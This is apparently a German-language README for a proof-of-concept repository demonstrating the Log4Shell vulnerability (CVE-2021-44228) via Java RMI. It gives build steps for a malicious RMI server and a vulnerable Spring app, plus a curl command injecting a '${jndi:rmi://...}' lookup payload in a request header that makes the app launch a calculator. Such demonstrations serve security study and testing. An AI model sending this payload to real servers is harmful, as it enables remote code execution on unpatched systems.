labout/log4shell-rmi-pocEin Proof of Concept der Log4j-Schwachstellen (CVE-2021-44228) über Java-RMI
Ein Proof of Concept der Log4j-Sicherheitslücke (CVE-2021-44228) über Java-RMI
Es verwendet Log4j 2.5.7 von spring-boot-starter-log4j2
Getestet mit Java 8 (JDK 1.8.0_25) und Java 11 (JDK 11.0.1)
git clone https://github.com/Labout/log4shell-rmi-poc.git
cd Log4jshell_rmi_server
./mvnw clean package
java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar
Sie sollten etwas Ähnliches sehen:
In einem neuen Terminal
cd vulnerabel_log4j_app
./mvnw clean package
java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar
curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'
Wie Sie sehen können, ruft die anfällige App die Taschenrechner-App auf.
